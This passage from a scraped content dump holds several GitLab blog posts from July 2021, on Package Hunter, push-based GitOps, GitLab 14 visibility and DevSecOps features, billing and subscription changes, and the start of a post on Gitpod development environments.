welcome.\n",[2368,4103,754,2509],{"slug":17883,"featured":6,"template":678},"gitlab-helm-package-registry","content:en-us:blog:gitlab-helm-package-registry.yml","Gitlab Helm Package Registry","en-us/blog/gitlab-helm-package-registry.yml","en-us/blog/gitlab-helm-package-registry",{"_path":17889,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17890,"content":17896,"config":17902,"_id":17904,"_type":16,"title":17905,"_source":17,"_file":17906,"_stem":17907,"_extension":20},"/en-us/blog/announcing-package-hunter",{"title":17891,"description":17892,"ogTitle":17891,"ogDescription":17892,"noIndex":6,"ogImage":17893,"ogUrl":17894,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17894,"schema":17895},"Package Hunter: Detect malicious code in dependencies","We developed, tested and open sourced a new tool to analyze program dependencies and protect the supply chain.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682075/Blog/Hero%20Images/package-hunter.png","https://about.gitlab.com/blog/announcing-package-hunter","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet Package Hunter: A tool for detecting malicious code in your dependencies\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dennis Appelt\"}],\n        \"datePublished\": \"2021-07-23\",\n      }",{"title":17897,"description":17892,"authors":17898,"heroImage":17893,"date":17899,"body":17900,"category":674,"tags":17901},"Meet Package Hunter: A tool for detecting malicious code in your dependencies",[6746],"2021-07-23","\n\nModern programming ecosystems make code reuse exceptionally easy. No matter the\nprogramming task at hand, chances are there is a package in a public registry\nsuch as rubygems.org or npmjs.com that implements that task.\n\nWhile the reuse of publicly available packages reduces the time necessary to write an app, this reuse\nbrings its own set of challenges. Apps quickly depend on hundreds of packages,\nand programmers often simply just trust that these packages don't contain malicious code.\nIn an ideal world, all depended-upon code is thoroughly vetted before being included in a program – however, this is often unfeasible in practice due to the sheer amount of dependency code that needs to be reviewed and the lack of existing tools to help with vetting dependency code.\n\n## Malicious code in the wild\n\nPast incidents like [malicious\ncode](https://gist.github.com/jpmcb/4e45eb04534f9a6f5ab9d99912a697d9) in the\npopular package `event-stream` demonstrate that threat actors actively use public\npackage registries as a distribution channel for malicious code. This incident\nwasn't a single event either. A recent\n[review of open source software supply chain attacks](https://link.springer.com/chapter/10.1007/978-3-030-52683-2_2) found\nmany similar malicious packages in the wild.\n\nThe techniques to deliver malicious dependencies have also become more sophisticated.\nEarlier this year a security researcher discovered an implementation quirk in\nmany popular package managers, dubbed [Dependency\nConfusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610),\nthat can be used to trick package managers to install dependencies from an\nattacker-controlled location instead from a trusted, private package registry.\nUpon installation of the manipulated dependency, the researcher could execute arbitrary code,\nwhich could have led to compromise of production systems or CI environments.\nExisting dependency scanners typically don't detect if a dependency executes\nmalicious code, as these tools are limited to identifying\ndependencies with *known* vulnerabilities.\n\nAlthough GitLab was not directly affected by Dependency Confusion, we took [added measures to ensure packages and registries operate the way we expect them to and are continually monitored and secured](/blog/deep-dive-investigation-of-gitlab-packages/),\nand set out to build tooling to detect and prevent similar incidents in the future.\n\n## Package Hunter: Detect malicious code in program dependencies\n\nIn response to these challenges and a need for tooling to validate supply chain security, **we've developed Package Hunter and are releasing it for use by the community.**\nPackage Hunter is a tool to analyze a program's dependencies for malicious code and other unexpected behavior by installing the dependencies in a sandbox environment and\nmonitoring system calls executed during the installation. Any suspicious system calls are reported to\nthe user for further examination. Package Hunter uses [Falco](https://falco.org/) under the hood for system call monitoring.\nIt currently supports testing NodeJS modules and Ruby Gems. Refer to the\n[docs](https://gitlab.com/gitlab-org/security-products/package-hunter/-/blob/master/README.md)\nfor more technical details.\n\n### How to get started with Package Hunter\n\nPackage Hunter integrates seamlessly with GitLab. To get started, use the GitLab\n[CI template](https://gitlab.com/gitlab-org/security-products/package-hunter-cli/-/blob/main/README.md#gitlab-ci) to add a Package Hunter job to\nyour project and follow the [instructions](https://gitlab.com/gitlab-org/security-products/package-hunter/-/blob/master/README.md#installation) for setting up a\nPackage Hunter server.\n\n### We've tested Package Hunter, now it's your turn. Let us know what you think!\n\nWe have been using Package Hunter internally to test GitLab's dependencies since November 2020. \nBy making it publicly available, we hope to enable other projects to\ndetect malicious code in their dependencies before it causes any harm and also to increase\nthe general confidence in open source supply chains. Package Hunter is free and open source.\nAt GitLab, we believe [everyone can contribute](/company/mission/#everyone-can-contribute).\nIf you have found a bug, have a feature suggestion, or want to contribute code, we want to hear from you!\nCheck out the [issue tracker](https://gitlab.com/gitlab-org/security-products/package-hunter/-/issues) for planned features or to submit bug reports and follow [these resources to learn more](https://gitlab.com/gitlab-org/security-products/package-hunter#learn-more).\n",[674,2952],{"slug":17903,"featured":6,"template":678},"announcing-package-hunter","content:en-us:blog:announcing-package-hunter.yml","Announcing Package Hunter","en-us/blog/announcing-package-hunter.yml","en-us/blog/announcing-package-hunter",{"_path":17909,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17910,"content":17916,"config":17921,"_id":17923,"_type":16,"title":17924,"_source":17,"_file":17925,"_stem":17926,"_extension":20},"/en-us/blog/how-to-agentless-gitops-vars",{"title":17911,"description":17912,"ogTitle":17911,"ogDescription":17912,"noIndex":6,"ogImage":17913,"ogUrl":17914,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17914,"schema":17915},"Using push-based GitOps with GitLab scripts and variables","Learn how GitLab supports agentless approach for GitOps with scripting and variables.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682051/Blog/Hero%20Images/agentless-gitops-vars-cover-880x587.jpg","https://about.gitlab.com/blog/how-to-agentless-gitops-vars","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use a push-based approach for GitOps with GitLab scripting and variables\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2021-07-23\",\n      }",{"title":17917,"description":17912,"authors":17918,"heroImage":17913,"date":17899,"body":17919,"category":734,"tags":17920},"How to use a push-based approach for GitOps with GitLab scripting and variables",[937],"\n\nIn [part one](/blog/how-to-use-agent-based-gitops/) of our GitOps series, we described how to use a pull-based (or agent-based) approach. In this second blog post, we'll dig deep into how to use a push-based approach. The agentless approach may be preferable for situations with non-Kubernetes infrastructure components or when you don't want to install, run, and maintain agents in each infrastructure component for [GitOps](/topics/gitops/). In this post, we will discuss how the scripting capabilities of GitLab can be used in GitOps workflows, and how to use predefined GitLab variables to shape infrastructure components.\n\n## About a push-based or agentless approach\n\nWith the agentless approach, infrastructure expressed and managed as code on GitLab, and updates and drift detection are automated and handled by GitLab without having to install any agents on infrastructure components.\n\n## How to use scripting in your pipelines to shape infrastructure\n\nGitLab allows automation using scripting. Whether you're using Docker, Helm, Ansible, or even direct SSH commands, you can use the scripting capabilities of GitLab to create, shape, and modify infrastructure.\n\nIn the example below, the pipeline determines the shape of the infrastructure the application runs on by specifying a Docker image as well as running Docker commands to build and push an application to the GitLab built-in container registry.\n\n![Using Docker in your pipeline to shape infrastructure](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-vars/0-docker-use-in-pipeline.png){: .shadow.small.center.wrap-text}\nHow to use Docker in your pipeline to shape infrastructure.\n{: .note.text-center}\n\nThe infrastructure is shaped again at a later stage in the pipeline, but this time by using kubectl and Helm commands:\n\n![Using kubectl in your pipeline to shape infrastructure](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-vars/1-helm-use-in-pipeline.png){: .shadow.medium.center.wrap-text}\nHow to use kubectl in your pipeline to shape infrastructure.\n{: .note.text-center}\n\nDepending on the type of infrastructure, other technologies can be used to shape the infrastructure. In the next example, Ansible is used to run a playbook that sets up the infrastructure for an entire lab environment:\n\n![Using Ansible in your pipeline to shape infrastructure](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-vars/2-ansible-use-in-pipeline.png){: .shadow.medium.center.wrap-text}\nHow to use Ansible in your pipeline to shape infrastructure.\n{: .note.text-center}\n\nThe scripting capabilities of GitLab pipelines combined with GitLab's CI/CD capabilities allow users to create GitOps flows to manage Infrastructure as Code (IaC), which delivers more resilient infrastructure and less risk of unscheduled downtime.\n\n## How to use Auto DevOps to modify infrastructure using variables\n\nGitLab also allows users to shape infrastructure by using project or group variables. The number of production pods in a Kubernetes cluster is updated to four in the example below:\n\n![Using variables to shape infrastructure](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-vars/3-ado-modify-infra-via-vars.png){: .shadow.medium.center.wrap-text}\nHow to use variables to shape infrastructure.\n{: .note.text-center}\n\nThe number of the production pods are changed to four on the next execution of the pipeline:\n\n![Production pods increased via a variable update](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-vars/4-ado-modified-infra-via-vars.png){: .shadow.medium.center.wrap-text}\nProduction pods changed using a variable update.\n{: .note.text-center}\n\nThere are many GitLab [build and deployment variables](https://docs.gitlab.com/ee/topics/autodevops/customize.html#build-and-deployment) that can modify infrastructure. [PostgreSQL](https://www.postgresql.org/) is provisioned as a component in infrastructure by default in GitLab to support applications that require a database and also provides [these variables](https://docs.gitlab.com/ee/topics/autodevops/customize.html#database) to customize it.\n\n## How GitLab capabilities help agentless infrastructure\n\nThe scripting capabilities of GitLab are a convenient way to shape infrastructure components in GitOps workflows using a push-based approach. This method allows for the easy integration of IaC tools in your GitOps pipelines. If you are doing IaC and GitOps for non-Kubernetes infrastructure components, this is the best approach. GitLab also provides out-of-the-box variables, so users can impact selected infrastructure components. In the final part of this GitOps series, we will discuss an agentless approach using our integration to Terraform as well as examples of GitOps flows for AWS ECS and EC2.\n\nCover image by [Rod Long](https://unsplash.com/@rodlong?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/machu-picchu?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n\n\n## Read more on GitOps with GitLab: \n\n- [GitOps with GitLab: Infrastructure provisioning with GitLab and Terraform](/blog/gitops-with-gitlab-infrastructure-provisioning/)\n\n- [Here's how to do GitOps with GitLab](/blog/gitops-with-gitlab/)\n\n- [GitOps viewed as part of the Ops evolution](/blog/gitops-as-the-evolution-of-operations/)\n\n- [GitOps with GitLab: Connect with a Kubernetes cluster](/blog/gitops-with-gitlab-connecting-the-cluster/)\n\n\n\n",[534,4103,4144],{"slug":17922,"featured":6,"template":678},"how-to-agentless-gitops-vars","content:en-us:blog:how-to-agentless-gitops-vars.yml","How To Agentless Gitops Vars","en-us/blog/how-to-agentless-gitops-vars.yml","en-us/blog/how-to-agentless-gitops-vars",{"_path":17928,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17929,"content":17934,"config":17939,"_id":17941,"_type":16,"title":17942,"_source":17,"_file":17943,"_stem":17944,"_extension":20},"/en-us/blog/optimizing-devops-visibility-in-gitlab-14",{"title":17930,"description":17931,"ogTitle":17930,"ogDescription":17931,"noIndex":6,"ogImage":17779,"ogUrl":17932,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17932,"schema":17933},"Optimize DevOps with enhanced visibility tools in GitLab 14","How GitLab 14's end-to-end visibility and actionability can help users understand and improve delivery and alignment.","https://about.gitlab.com/blog/optimizing-devops-visibility-in-gitlab-14","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Optimize DevOps with enhanced visibility tools in GitLab 14\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cormac Foster\"}],\n        \"datePublished\": \"2021-07-21\",\n      }",{"title":17930,"description":17931,"authors":17935,"heroImage":17779,"date":17936,"body":17937,"category":8943,"tags":17938},[16704],"2021-07-21","\n[DevOps makes teams and work more efficient](/topics/devops/how-and-why-to-create-devops-platform-team/), more consistent, and more productive – but how much more?\n\nOn its surface, the answer is simple. We need to measure workflow from idea to delivery, identify and remove blockers, and benchmark improvements in a manner that is consistent and replicable. The challenge is the way we've typically built the systems that hold the data we're trying to understand.\n\nEnhanced visibility tools are essential to measuring and optimizing modern DevOps processes, and mapping the work output to ensure the business outcomes that matter are achieved.\n\n## The failure of DIY DevOps\n\nMost businesses operate and maintain a multi-product \"DIY DevOps\" toolchain, but stitched-together applications with bespoke integrations don't lend themselves to visibility. Each component in the toolchain captures a unique set of data, with distinct formatting and metadata, logged to a siloed data store. Extracting, correlating, and displaying that data is a labor intensive chore – assuming the various APIs allow proper access at all. Poor visibility can lead to slow and imprecise decision-making and misalignment between teams, but building and maintaining visibility in DIY toolchain saps resources from your business, adding work instead of removing it.\n\n## A platform for visibility\n\nAt GitLab, we believe that stumbling in the dark and maintaining complex toolchains are not viable business strategies. We all deserve better, and [GitLab 14](/gitlab-14/) is the [DevOps platform](/topics/devops-platform/) that provides enhanced visibility without added work. As a complete DevOps platform, GitLab 14 is uniquely capable of delivering visibility into DevOps processes, surfacing out-of-the-box insights from across the product delivery lifecycle and helps users understand what works, what doesn't, and how to make improvements.\n\n## Metrics that matter\n\n![Lead Time for Changes helps you understand your team's velocity, agility, and efficiency, from the first code commit to production.](https://about.gitlab.com/images/blogimages/lead_time.png){: .shadow}\nLead Time for Changes helps you understand your team's velocity, agility, and efficiency.\n{: .note.text-center}\n\nGitLab 14 delivers operational metrics to help users understand DevOps maturity and benchmark progress. The DevOps Research and Assessment (DORA) firm demonstrated how DevOps maturity leads to positive business outcomes like happier customers, greater market share, and increased revenue. They've outlined [four key metrics](https://cloud.google.com/blog/products/devops-sre/using-the-four-keys-to-measure-your-devops-performance) that are highly correlated with business performance, and GitLab 14 surfaces two of the four. [Deployment Frequency](https://docs.gitlab.com/ee/user/analytics/ci_cd_analytics.html#deployment-frequency-charts) charts help monitor the efficiency of deployments over time, find bottlenecks, and understand when and how to improve deployment process. [Lead Time for Changes](https://docs.gitlab.com/ee/user/analytics/ci_cd_analytics.html#lead-time-charts) helps users understand their team's velocity, agility, and efficiency – from the first code commit to all the way through production.\n\n## Actionable insights\n\n![Value Stream Analytics lets you zero in on value blockers and immediately remediate them.](https://about.gitlab.com/images/blogimages/value_stream_analytics.png){: .shadow}\nValue Stream Analytics lets you zero in on value blockers and immediately remediate them.\n{: .note.text-center}\n\nAfter identifying opportunities for change, you should be able to take action right away with GitLab 14. Our [customizable Value Stream Analytics](https://docs.gitlab.com/ee/user/analytics/value_stream_analytics.html) tools allow teams to monitor specific workflows tailored to their particular needs and identify high-priority blockers to delivering value to customers.\n\nUnlike products that focus exclusively on visibility and discovery, GitLab 14 makes these insights actionable. With one click, users can move from identifying a merge request stuck in code review or an issue waiting for approval to solving the problem. Actionable insights removes wasteful loops of questions and clarifications, and allows all users to focus on productive work.\n\n## See for yourself\n\nWant to learn more? Learn how GitLab customers like [Crédit Agricole](/customers/credit-agricole/), [Hotjar](/customers/hotjar/),and [others](/customers/) are turning visiblity and and insights into business value, or take the next step and [try GitLab Ultimate for free](/free-trial/)!\n\nThis blog is part two in a three-part series on some of the top features of GitLab 14. Learn more about how GitLab 14 includes some of the [top Security features in part one](/blog/are-you-ready-for-the-newest-era-of-devsecops/). \n",[4103,1899],{"slug":17940,"featured":6,"template":678},"optimizing-devops-visibility-in-gitlab-14","content:en-us:blog:optimizing-devops-visibility-in-gitlab-14.yml","Optimizing Devops Visibility In Gitlab 14","en-us/blog/optimizing-devops-visibility-in-gitlab-14.yml","en-us/blog/optimizing-devops-visibility-in-gitlab-14",{"_path":17946,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17947,"content":17952,"config":17957,"_id":17959,"_type":16,"title":17960,"_source":17,"_file":17961,"_stem":17962,"_extension":20},"/en-us/blog/are-you-ready-for-the-newest-era-of-devsecops",{"title":17948,"description":17949,"ogTitle":17948,"ogDescription":17949,"noIndex":6,"ogImage":17779,"ogUrl":17950,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17950,"schema":17951},"Are you ready for the newest era of DevSecOps?","DevSecOps is about more than shifting security testing to developers. Can you secure your software development end-to-end?","https://about.gitlab.com/blog/are-you-ready-for-the-newest-era-of-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Are you ready for the newest era of DevSecOps?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cindy Blake\"}],\n        \"datePublished\": \"2021-07-20\",\n      }",{"title":17948,"description":17949,"authors":17953,"heroImage":17779,"date":17954,"body":17955,"category":8943,"tags":17956},[12479],"2021-07-20","\n\nSecurity is on everyone's radar, from board members to inquisitive grandparents. Everyone wants to know [what software development teams are doing to protect their applications](/blog/devops-platform-supply-chain-attacks/) from attacks like that of Colonial Pipeline, Solarwinds, and others. With the launch of [GitLab 14](/gitlab-14/), we accelerated modern DevOps by bringing velocity with confidence, built-in security, and visibility, into DevOps success.\n\nThe modern DevOps solution is platform-driven, has a unified data store, and has security embedded throughout the software development lifecycle (SDLC). We find that it is these three attributes that drive demand for a modern DevOps solution among many different types of businesses. \n\nSecurity in the modern DevOps solution goes beyond just shifting security features left to empower the developers to find and fix security flaws, but also provides end-to-end visibility and control over the entire SDLC to create, deliver, and run the applications.\n\n## Shifting security left is just the beginning\n\nMany organizations have shifted security left, or at least started on their journey, in an effort to improve development velocity while also managing security risks. When starting with their incumbent tools, many organizations find it difficult to cobble together a variety of different security scanners and trying to integrate them into a complex DevOps toolchain. We hear from customers that siloed tooling has hindered collaboration. Many of our customers turned to GitLab to simplify their [DevSecOps](/topics/devsecops/) process. \n\nGitLab is often at the forefront of the DevSecOps and \"shift security left\" conversations among developers and businesses because of the simplicity and effectiveness of embracing security capabilities via a single platform. Developers need to find and fix vulnerabilities within their natural workflow earlier, without friction or distractions, while businesses must protect their IP in an age when the stakes of security have never been higher. \n\nWhen security capabilities are embedded into the end-to-end software processes, then developers can spend time writing code instead of managing tools. It is also easier for Development and Security teams to truly collaborate when they're working on the same platform. Also, security policies can be automated and applied consistently without intervention. As a result, GitLab customers have matured and scaled their application security programs in ways that were not possible with traditional siloed solutions. \n\nWe gathered quotes from GitLab customers about using GitLab Secure. These customers opted to stay anonymous as an added security measure. \n\n* [HackerOne](/customers/hackerone/) has reduced velocity disruptions while bringing predictability to their security costs as they scale their app sec programs. \n* A global financial services organization says, \"GitLab Secure replaced Veracode, Checkmarx, and Fortify in my DevOps toolchain. GitLab scans faster, is more accurate, and doesn't require my developers to learn new tools.\" \n* A large North American grocery retailer says, \"GitLab Secure gives us unlimited scanning capability across our entire GitLab repo. This is obviously a very \"shift-left\" move as issues will be identified directly in the repo for review and triage. We will be able to get the most coverage this way ...\". \n\nIn addition, we are excited that GitLab customer, HERE Technologies, has [shared their experience](https://developer.here.com/blog/shifting-security-left-in-the-here-platform) with using GitLab to Shift Left and will present at [Commit](/events/commit/), GitLab's upcoming user conference, August 3-4. Be sure to attend for the live Q&A.\n\nBeyond just empowering developers, GitLab's security dashboard and vulnerability report have evolved into powerful tools for security pros. The vulnerability report offers streamlined vulnerability management integrated into the GitLab workflow for earlier risk visibility, simplified vulnerability tracking, and easier remediation. Be sure to catch [Lindsey Kerr](/company/team/#lkerr), frontend engineering manager for GitLab Secure, at [Commit](/events/commit/) where she will share more about the evolution of our vulnerability management capabilities.\n\n## Security must be part of the DevOps platform\n\nIn an era of attacks that focus on software supply chains, it's not enough to just find and fix security vulnerabilities earlier in the SDLC. Shifting security left is still a vital element, but even more is required. For DevSecOps 2.0, integration and simplification is necessary for success, and we must also test, monitor, and protect the security of an application's surrounding infrastructure. This infrastructure, which usually accompanies cloud native apps, relies upon containers and orchestrators with configurations that are themselves codified as Infrastructure-as-code (IaC). We will cover securing IaC on the second day of the [GitLab Commit conference](/events/commit/). Attend and judge, are you ready for DevSecOps 2.0?\n\n## What's important looking ahead?\n\nBuilt-in security has become a prerequisite to not only automate a comprehensive security scanning process but also automate the policies and actions taken when exceptions are found. A recent blog post describes [how a platform can help with supply chain attacks](/blog/devops-platform-supply-chain-attacks/). With all eyes on the security of the software supply chain, it's even more important to have [end-to-end visibility and controls](https://docs.gitlab.com/ee/administration/compliance) to help protect the software factory along with its deliverables. Compliance management is a key part of DevSecOps 2.0. Check out [where GitLab is headed](/direction/govern/compliance/compliance-management/) and contribute your thoughts and feedback to the [top issues](/direction/govern/compliance/compliance-management/#top-user-issues).  \n\nThis is part one of a three-part series on some of the key features of [GitLab 14](/gitlab-14/). Check the GitLab Blog to learn more about how GitLab 14 powers greater visibility in part two of the series.\n\n\n\n\n\n",[674],{"slug":17958,"featured":6,"template":678},"are-you-ready-for-the-newest-era-of-devsecops","content:en-us:blog:are-you-ready-for-the-newest-era-of-devsecops.yml","Are You Ready For The Newest Era Of Devsecops","en-us/blog/are-you-ready-for-the-newest-era-of-devsecops.yml","en-us/blog/are-you-ready-for-the-newest-era-of-devsecops",{"_path":17964,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17965,"content":17970,"config":17975,"_id":17977,"_type":16,"title":17978,"_source":17,"_file":17979,"_stem":17980,"_extension":20},"/en-us/blog/improved-billing-and-subscription-management",{"title":17966,"description":17967,"ogTitle":17966,"ogDescription":17967,"noIndex":6,"ogImage":12013,"ogUrl":17968,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17968,"schema":17969},"GitLab improves billing & subscription with paid tier updates","Updates to paid tiers for improved product and service experience for customers","https://about.gitlab.com/blog/improved-billing-and-subscription-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab introduces updates to paid tiers for improved billing and subscription management\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2021-07-20\",\n      }",{"title":17971,"description":17967,"authors":17972,"heroImage":12013,"date":17954,"body":17973,"category":736,"tags":17974},"GitLab introduces updates to paid tiers for improved billing and subscription management",[3532],"\n## What you need to know\n- GitLab moves from annual true-ups to quarterly subscription reconciliation\n- Introduces cloud licensing and auto-renewals for improved license management\n- Requires collection of operational data for customer success services\n- Applicable to new customers from **August 1, 2021** and existing customers at their next renewal\n\nToday, we are announcing changes to improve the billing and subscription management experience for customers. While quarterly subscription reconciliation benefits both our SaaS and self-managed customers, the three other improvements, including the collection of operational data for customer success services, auto-renewals, and cloud licensing, will enhance the product and service experience for self-managed customers.\n\nWhile other vendors are shifting to only offering SaaS, we are committed to providing our customers with a choice of deploying GitLab through the GitLab SaaS offering or the GitLab self-managed offering within the customer's datacenter or through a cloud provider of choice. These improvements ensure the self-managed deployment option remains efficient and continues to help customers achieve their desired business outcomes.\n\nThe updates are not applicable to free tier users (both SaaS and self-managed) and community program users (GitLab for [Education](/solutions/education/), [Open Source](/solutions/open-source/), and [Startups](/solutions/startups/)). For customers purchasing GitLab via channel partners or resellers, quarterly subscription reconciliation and auto-renewals will not be available at launch, but they will be made available subsequently.\n\n## Four key changes\n\nThere are four key changes that will be applicable to new and existing paid tier customers.\n\n### 1. Quarterly subscription reconciliation\n\nAnnual [true-ups](https://docs.gitlab.com/ee/subscriptions/self_managed/#users-over-license) were confusing and frustrating for customers. With quarterly subscription reconciliation, users added during a quarter will only be charged for the remaining quarters of their subscription term as opposed to the full annual subscription fee(s) with annual true-ups. Customers stand to gain substantial savings for add-on users as there is no retroactive charge. For example:\n\n| Quarter in which users are added | Payment period with quarterly subscription reconciliation | Savings per add-on user compared to annual true-ups |\n|----------------------------------|-----------------------------------------------------------|-----------------------------------------------------|\n| First                            | Remaining three quarters only                             | 25%                                                 |\n| Second                           | Remaining two quarters only                               | 50%                                                 |\n| Third                            | Remaining one quarter only                                | 75%                                                 |\n| Fourth                           | Next subscription period only                             | 100%                                                |\n\nUnder no scenario will the license cost for add-on users in the quarterly subscription reconciliation model be higher than in the annual true-up model.\n\n### 2. Auto-renewals\n\nSubscriptions on GitLab SaaS are already on auto-renewal. This has made the renewal process more seamless for customers and more efficient for GitLab Inc. After the next renewal, all subscriptions for self-managed customers will be set to auto-renew. There is an option to manually cancel on the [GitLab customer portal](http://customers.gitlab.com) anytime up to thirty (30) days before renewal. If cancelled, customers can continue to use GitLab until their subscription expires.\n\n### 3. Cloud licensing\n\nSelf-managed customers will be able to activate their GitLab instances via an activation code and manage their GitLab licenses using the [GitLab customer portal](http://customers.gitlab.com). License data such as subscription tier, active users, guest users, and inactive users will be synced with GitLab daily to facilitate quarterly subscription reconciliation and auto-renewals.\n\n### 4. Operational data\n\nTo enable consistent [customer success services](/services/customer-success-services/) for paying customers, self-managed instances will be required to share aggregated operational data that indicates the adoption of product use cases or features. Like [SaaS service usage data](/handbook/legal/privacy/customer-product-usage-information/#saas-gitlabcom-software), operational data for self-managed instances such as number of projects, issues, pipelines, and merge requests will be aggregated for each self-managed instance and will not contain any individual user's personal information or project-specific information. This operational data will be used by customer success services to help customers understand their usage, identify adoption issues, provide use case enablement, and recommend best practices for a successful customer journey. Please see our [service usage data page](/handbook/legal/privacy/customer-product-usage-information/) for the full list of usage data and its use.\n\nPlease see our [Customer FAQ](/pricing/faq-improved-billing-and-subscription-management/) for additional details regarding these four key changes.\n\n## Timeline\n\nThese changes are applicable to customers purchasing or renewing a GitLab subscription on or after **August 1, 2021**. For existing customers, these changes are applicable at their next renewal. At purchase or renewal -\n\n1. Customers will need to agree to the updated [Subscription Agreement](/terms/).\n1. Self-managed customers must be on version **14.1 or newer** to benefit from the upgrade. Existing customers can upgrade at their own pace - GitLab will support the current license management process on 13.x versions and 14.x versions, until further notice.\n\nThese changes are not yet available to customers who purchase GitLab through a reseller or channel partner, but will be made available subsequently. Please contact your reseller or channel partner and GitLab channel manager to benefit from these updates.\n\n## More information\n\nThe Subscription Agreement and GitLab's legacy Subscription Agreements can be found at the [GitLab Terms of Service](/terms/).\n\nPlease find more information in the [Customer FAQs](/pricing/faq-improved-billing-and-subscription-management/). If you require further clarifications, please contact your GitLab Sales Representative or [GitLab Support](https://support.gitlab.com/hc/en-us).\n\nTo address any other questions and feedback, we have created a [dedicated topic in the GitLab Community Forum](https://forum.gitlab.com/t/updates-to-paid-tiers-for-improved-billing-and-subscription-management/), which is actively monitored by GitLab team members involved with this change.\n",[736],{"slug":17976,"featured":6,"template":678},"improved-billing-and-subscription-management","content:en-us:blog:improved-billing-and-subscription-management.yml","Improved Billing And Subscription Management","en-us/blog/improved-billing-and-subscription-management.yml","en-us/blog/improved-billing-and-subscription-management",{"_path":17982,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17983,"content":17988,"config":17994,"_id":17996,"_type":16,"title":17997,"_source":17,"_file":17998,"_stem":17999,"_extension":20},"/en-us/blog/teams-gitpod-integration-gitlab-speed-up-development",{"title":17984,"description":17985,"ogTitle":17984,"ogDescription":17985,"noIndex":6,"ogImage":15224,"ogUrl":17986,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17986,"schema":17987},"Teams speed up development with GitLab's Gitpod integration","Learn about Gitpod as cloud development environment, and how its integration into Gitpod helps teams to get more efficient in their DevOps lifecycle.","https://about.gitlab.com/blog/teams-gitpod-integration-gitlab-speed-up-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How teams can use the Gitpod integration in GitLab to speed up their development process\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2021-07-19\",\n      }",{"title":17989,"description":17985,"authors":17990,"heroImage":15224,"date":17991,"body":17992,"category":734,"tags":17993},"How teams can use the Gitpod integration in GitLab to speed up their development process",[4808],"2021-07-19","\n\nTurn back time a bit and try to remember the first project you started or joined, and the onboarding experience. How long did it take to install the development environment on your local machine?\n\nWe talked about our own onboarding experiences into software development, and thought about sharing our favorite tips with GitLab users.\n\n## A developer's tale\n\nEveryone starts fresh, and often best practices are just \"learning by doing,\" requiring documentation in the same moment. Programming languages and application architectures are also different - a C++ backend environment has different requirements than a Ruby on Rails web application.\n\nStart with defining the requirements and stages. Oftentimes they are equivalent to CI/CD pipeline stages but executed in your own environment.\n\n* Compile/build the application and verify that the source code is valid (\"build\")\n* Run linting, unit tests, code quality checks (\"test\")\n* Run the application in a dev environment (\"runtime test\")\n* Package the application, run installation tests (\"staging installation\")\n* Run the installed application (\"staging deployment\")\n* Tag, release, and deploy the application (\"release production deployment\")\n\nYou want to run the application in a development environment quickly, everything else with staging and deployments continues to run in your CI/CD pipelines. Their implementation and availability should be on your to-do list.\n\nSoftware applications can depend on existing libraries which are used by many other developers, and help speed up the development process. These dependencies need to be installed into the development environment - if that is your local macOS, Windows or Linux desktop, methods and requirements will differ.\n\n### Provision development environments\n\nCreating a development environment for many different operating systems has its disadvantages: Error messages can differ and implementation specific details do not produce the same results and require back-and-forth communication on the team. This often leads to friction and slowed down development processes.\n\nOne key learning over the past decade has been to use CI/CD extensively to test different environments and operating systems, and rely on fast feedback in Merge Requests. Developers should be able to focus on their development environment without having to worry about the many production use cases and support.\n\nVirtual machines in Vagrant, and Docker containers made the generic development environment creation easier and efficient. The documentation instructed everyone to either execute `vagrant up` or `docker-compose up -d` and have the development stack ready. The road to creating Vagrant and Docker base images, including the provisioning scripts with Bash, Ansible, Puppet, etc., was and still is a huge learning process. Opinions on \"good\" best practices differ, and adding your preferred IDE on top of a CLI only VM or container often is an adventure on its own.\n\nBandwidth and traffic can also come into play - each provision and software installation run may consume gigabytes of data. If the workloads and provisioning would run in the cloud, your local connection is not affected.\n\nOne customer mentioned a while ago that their company policy forbids installing a local IDE without a license. The Web IDE in GitLab solves this problem for them throughout the onboarding month.\n\n### Development environment in the browser\n\nThe Web IDE helps with basic programming tasks, editing the documentation or setting up the CI/CD configuration. It does not provide a fully fledged server runtime, as cloud IDE with a programming environment capable of understanding the language you are programming in would. Our vision is to explore ways to [add integrated development environments into the Web IDE](/handbook/engineering/incubation/server-runtime/).\n\nThere are a variety of tools and environments following remote collaboration ideas and the 